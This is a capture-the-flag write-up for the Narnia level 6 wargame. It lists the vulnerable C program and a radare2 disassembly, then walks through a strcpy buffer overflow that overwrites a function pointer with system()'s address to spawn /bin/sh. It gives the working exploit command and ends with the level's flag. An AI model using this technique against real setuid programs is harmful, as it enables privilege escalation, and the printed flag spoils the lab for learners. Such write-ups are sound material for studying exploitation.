Writeup

narnia06.c content :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern char **environ;

// tired of fixing values...
// - morla
unsigned long get_sp(void) {
       __asm__("movl %esp,%eax\n\t"
               "and $0xff000000, %eax"
               );
}

int main(int argc, char *argv[]){
	char b1[8], b2[8];
	int  (*fp)(char *)=(int(*)(char *))&puts, i;

	if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }

	/* clear environ */
	for(i=0; environ[i] != NULL; i++)
		memset(environ[i], '\0', strlen(environ[i]));
	/* clear argz    */
	for(i=3; argv[i] != NULL; i++)
		memset(argv[i], '\0', strlen(argv[i]));

	strcpy(b1,argv[1]);
	strcpy(b2,argv[2]);
	//if(((unsigned long)fp & 0xff000000) == 0xff000000)
	if(((unsigned long)fp & 0xff000000) == get_sp())
		exit(-1);
	setreuid(geteuid(),geteuid());
    fp(b1);

	exit(1);
}

We can use cutter or radare2 to edit the objdump and change the variable name to make the stack easier to represent.

(fcn) sym.main 331
|   int sym.main (int argc, char **argv, char **envp);
|           ; var char *b2 @ ebp-0x1c
|           ; var char *b1 @ ebp-0x14
|           ; var int fp @ ebp-0xc
|           ; var int var_8h @ ebp-0x8
|           ; arg uint32_t arg_8h @ ebp+0x8
|           ; arg char **src @ ebp+0xc
|           0x080485a8      push ebp
|           0x080485a9      mov ebp, esp
|           0x080485ab      push ebx
|           0x080485ac      sub esp, 0x18
|           0x080485af      mov dword [fp], sym.imp.puts ; 0x8048430
|           0x080485b6      cmp dword [arg_8h], 3 ; [0x8:4]=-1 ; 3
|       ,=< 0x080485ba      je 0x80485d6
|       |   0x080485bc      mov eax, dword [src] ; [0xc:4]=-1 ; 12
|       |   0x080485bf      mov eax, dword [eax]
|       |   0x080485c1      push eax
|       |   0x080485c2      push str.s_b1_b2 ; 0x8048780 ; "%s b1 b2\n" ; const char *format
|       |   0x080485c7      call sym.imp.printf ; int printf(const char *format)
|       |   0x080485cc      add esp, 8
|       |   0x080485cf      push 0xffffffffffffffff ; int status
|       |   0x080485d1      call sym.imp.exit ; void exit(int status)
|       `-> 0x080485d6      mov dword [var_8h], 0
|       ,=< 0x080485dd      jmp 0x8048618
|      .--> 0x080485df      mov eax, dword [obj._environ] ; obj.environ__GLIBC_2.0 ; [0x80499e8:4]=0
|      :|   0x080485e4      mov edx, dword [var_8h]
|      :|   0x080485e7      shl edx, 2
|      :|   0x080485ea      add eax, edx
|      :|   0x080485ec      mov eax, dword [eax]
|      :|   0x080485ee      push eax ; const char *s
|      :|   0x080485ef      call sym.imp.strlen ; size_t strlen(const char *s)
|      :|   0x080485f4      add esp, 4
|      :|   0x080485f7      mov ecx, eax
|      :|   0x080485f9      mov eax, dword [obj._environ] ; obj.environ__GLIBC_2.0 ; [0x80499e8:4]=0
|      :|   0x080485fe      mov edx, dword [var_8h]
|      :|   0x08048601      shl edx, 2
|      :|   0x08048604      add eax, edx
|      :|   0x08048606      mov eax, dword [eax]
|      :|   0x08048608      push ecx ; size_t n
|      :|   0x08048609      push 0 ; int c
|      :|   0x0804860b      push eax ; void *s
|      :|   0x0804860c      call sym.imp.memset ; void *memset(void *s, int c, size_t n)
|      :|   0x08048611      add esp, 0xc
|      :|   0x08048614      add dword [var_8h], 1
|      :`-> 0x08048618      mov eax, dword [obj._environ] ; obj.environ__GLIBC_2.0 ; [0x80499e8:4]=0
|      :    0x0804861d      mov edx, dword [var_8h]
|      :    0x08048620      shl edx, 2
|      :    0x08048623      add eax, edx
|      :    0x08048625      mov eax, dword [eax]
|      :    0x08048627      test eax, eax
|      `==< 0x08048629      jne 0x80485df
|           0x0804862b      mov dword [var_8h], 3
|       ,=< 0x08048632      jmp 0x8048671
|      .--> 0x08048634      mov eax, dword [var_8h]
|      :|   0x08048637      lea edx, [eax*4]
|      :|   0x0804863e      mov eax, dword [src] ; [0xc:4]=-1 ; 12
|      :|   0x08048641      add eax, edx
|      :|   0x08048643      mov eax, dword [eax]
|      :|   0x08048645      push eax ; const char *s
|      :|   0x08048646      call sym.imp.strlen ; size_t strlen(const char *s)
|      :|   0x0804864b      add esp, 4
|      :|   0x0804864e      mov edx, eax
|      :|   0x08048650      mov eax, dword [var_8h]
|      :|   0x08048653      lea ecx, [eax*4]
|      :|   0x0804865a      mov eax, dword [src] ; [0xc:4]=-1 ; 12
|      :|   0x0804865d      add eax, ecx
|      :|   0x0804865f      mov eax, dword [eax]
|      :|   0x08048661      push edx ; size_t n
|      :|   0x08048662      push 0 ; int c
|      :|   0x08048664      push eax ; void *s
|      :|   0x08048665      call sym.imp.memset ; void *memset(void *s, int c, size_t n)
|      :|   0x0804866a      add esp, 0xc
|      :|   0x0804866d      add dword [var_8h], 1
|      :`-> 0x08048671      mov eax, dword [var_8h]
|      :    0x08048674      lea edx, [eax*4]
|      :    0x0804867b      mov eax, dword [src] ; [0xc:4]=-1 ; 12
|      :    0x0804867e      add eax, edx
|      :    0x08048680      mov eax, dword [eax]
|      :    0x08048682      test eax, eax
|      `==< 0x08048684      jne 0x8048634
|           0x08048686      mov eax, dword [src] ; [0xc:4]=-1 ; 12
|           0x08048689      add eax, 4
|           0x0804868c      mov eax, dword [eax]
|           0x0804868e      push eax ; const char *src
|           0x0804868f      lea eax, [b1]
|           0x08048692      push eax ; char *dest
|           0x08048693      call sym.imp.strcpy ; strcpy(b1,argv[1]) ; char *strcpy(char *dest, const char *src)
|           0x08048698      add esp, 8
|           0x0804869b      mov eax, dword [src] ; [0xc:4]=-1 ; 12
|           0x0804869e      add eax, 8
|           0x080486a1      mov eax, dword [eax]
|           0x080486a3      push eax ; const char *src
|           0x080486a4      lea eax, [b2]
|           0x080486a7      push eax ; char *dest
|           0x080486a8      call sym.imp.strcpy ; strcpy(b2,argv[2]) ; char *strcpy(char *dest, const char *src)
|           0x080486ad      add esp, 8
|           0x080486b0      mov eax, dword [fp]
|           0x080486b3      and eax, 0xff000000
|           0x080486b8      mov ebx, eax
|           0x080486ba      call sym.get_sp
|           0x080486bf      cmp ebx, eax
|       ,=< 0x080486c1      jne 0x80486ca
|       |   0x080486c3      push 0xffffffffffffffff ; int status
|       |   0x080486c5      call sym.imp.exit ; void exit(int status)
|       `-> 0x080486ca      call sym.imp.geteuid ; uid_t geteuid(void)
|       `-> 0x080486ca      call sym.imp.geteuid ; uid_t geteuid(void)
|           0x080486cf      mov ebx, eax
|           0x080486d1      call sym.imp.geteuid ; uid_t geteuid(void)
|           0x080486d6      push ebx
|           0x080486d7      push eax
|           0x080486d8      call sym.imp.setreuid
|           0x080486dd      add esp, 8
|           0x080486e0      lea eax, [b1]
|           0x080486e3      push eax
|           0x080486e4      mov eax, dword [fp] ; fp calls b1
|           0x080486e7      call eax
|           0x080486e9      add esp, 4
|           0x080486ec      push 1 ; 1 ; int status
\           0x080486ee      call sym.imp.exit ; void exit(int status)
            0x080486f3      nop

Now it’s easy to see that fp is right after b1. We can now insert in b1 /bin/sh and in fp the address of system.

Stack view :

|   <b2>    | <== ebp-0x1c
|   <b1>    | <== ebp-0x14
|   <fp>    | <== ebp-0xc

./narnia6 $(python -c 'print "/bin/sh"+"\x50\xc8\xe4\xf7"') stuff

But it gives us segmentation fault, why? because /bin/sh is 7 bytes instead of 8. However we can insert in b1 /bin/sh; and the exploit will work :

./narnia6 $(python -c 'print "/bin/sh;"+"\x50\xc8\xe4\xf7"') stuff

Now it works :D

Flag

ahkiaziphu